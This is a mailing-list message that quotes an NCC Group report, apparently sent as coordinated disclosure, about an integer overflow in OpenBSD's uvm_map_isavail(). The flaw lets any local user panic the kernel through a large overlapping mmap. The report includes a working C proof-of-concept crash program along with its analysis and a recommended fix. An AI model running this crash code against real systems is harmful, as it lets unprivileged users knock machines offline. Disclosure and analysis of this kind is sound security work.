Hi All, Is a fix for this in the works? We’d like to be able to point to a fix before posting to oss-sec :)
Best, -jh > On Jul 28, 2016, at 8:58 PM, Tim Newsham <[email protected]> wrote: > > Hi, We just came across another issue that allows a user to crash the system > through mmap. Despite trying, we didn't notice any more serious privilege > escalation opportunities. > > /* > * mmap_dup_panic.c > * Demonstrate a panic through the mmap system call. > * > * gcc -g mmap_dup_panic.c -o mmap_dup_panic > */ > > #ifdef BUG_WRITEUP //--------------------------------------------------- > Any user can trigger a panic in mmap with an overlapping mapping > > Impact: > Any user can trigger a panic by requesting a large mapping > that overlaps with an existing mapping. > > Description: > It is possible for an mmap() call to request a mapping at a > virtual address that overlaps an existing mapping. This is checked > for in uvm_map() by calling uvm_map_isavail() with the hint address and > size.. There is a flaw in uvm_map_isavail() when the requested size is very > large. The code looks up the maps at the start and end address with: > > if (*start_ptr == NULL) { > *start_ptr = uvm_map_entrybyaddr(atree, addr); > if (*start_ptr == NULL) > return 0; > } else > KASSERT(*start_ptr == uvm_map_entrybyaddr(atree, addr)); > if (*end_ptr == NULL) { > if (VMMAP_FREE_END(*start_ptr) >= addr + sz) > *end_ptr = *start_ptr; > else { > *end_ptr = uvm_map_entrybyaddr(atree, addr + sz - 1); > if (*end_ptr == NULL) > return 0; > } > } else > KASSERT(*end_ptr == uvm_map_entrybyaddr(atree, addr + sz - 1)); > > Due to an integer overflow that can occur when computing > "addr + sz" it is possible for the end_ptr map to be > computed incorrectly (setting "*end_ptr = *start_ptr"). Later > when this same function iterates over the maps between the start > and end maps, the function may fail to notice that a large mapping > overlaps with an existing mapping. > > If uvm_map_isavail() indicates that the hint address is available, > uvm_map() will continue its processing without assigning a new > address. It will eventually call uvm_map_fix_space() which > performs its own sanity lookup with uvm_mapent_addr_insert(), > and panics if an overlapping mapping is added: > > res = RB_INSERT(uvm_map_addr, &map->addr, entry); > if (res != NULL) { > panic("uvm_mapent_addr_insert: map %p entry %p " > "(0x%lx-0x%lx G=0x%lx F=0x%lx) insert collision " > "with entry %p (0x%lx-0x%lx G=0x%lx F=0x%lx)", > map, entry, > entry->start, entry->end, entry->guard, entry->fspace, > res, res->start, res->end, res->guard, res->fspace); > } > > An attacker can take advantage of this to intentionally > trigger a panic to crash the system. This does not require > any special privileges. > > In theory this flaw might allow an attacker to make a mapping > that wraps around from user addresses, through kernel addresses > and back to low user addresses. Such a mapping might allow > access to kernel memory or to the NULL page (useful for performing > certain attacks against NULL pointer use in the kernel). > However NCC was unable to find any way to create such a mapping > without causing a panic since it does not appear to be possible > to make a mapping above the stack segment. All wrap-around mappings > lower than this address overlap with the stack segment and result > in a panic. > > Reproduction: > Run the attached mmap_dup_panic.c program. It first maps a > page in and then performs a second mmap() call to request > another mapping at the next page address. This second mapping overlaps > the first due to the large size, and causes a panic message such as > "panic: uvm_mapent_addr_insert: map 0xffffff00036be300 entry > 0xffffff000311d178 (0x1dcc56000000-0x1dcc56000000 G=0x0 F=0x200000000) insert > collision with entry 0xffffff000272de08 (0x1dcc56000000-0x1dcc56000000 G=0x0 > F=0x1000)" > NCC Group was able to reproduce this issue on OpenBSD 5.9-stable kernel > pulled from CVS on July 25, 2016. > > Recommendation: > Detect when "addr + sz" causes an integer overflow in uvm_map_isavail(). > Return zero indicating that this mapping is not available in this case. > > Reported: 2016-07-28 > Fixed: notyet > #endif // BUG_WRITEUP --------------------------------------------------- > > #include <stdio.h> > #include <stdlib.h> > #include <fcntl.h> > #include <unistd.h> > #include <sys/mman.h> > > void xperror(int cond, char *msg) > { > if(cond) { > perror(msg); > exit(1); > } > } > > int main(int argc, char **argv) > { > int fd; > char *p, *pg; > > fd = open("/tmp/mapfile", O_RDWR|O_CREAT, 0666); > xperror(fd == -1, "/tmp/mapfile"); > write(fd, "testing\n", 8); > > pg = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, > -1, 0); > xperror(pg == MAP_FAILED, "mmap"); > > p = mmap(pg+4096, 0xffffff0000000000, 0, 0, fd, 0); > xperror(pg == MAP_FAILED, "mmap2"); > printf("no crash!\n"); > return 0; > } > > Tim Newsham > Distinguished Security Engineer, Security Consulting > NCC Group > [email protected] | PGP: B415 550D BEE9 07DB B4C9 F96C 8EFE CB2F > 402D 3DF0 >
signature.asc
Description: Message signed with OpenPGP using GPGMail
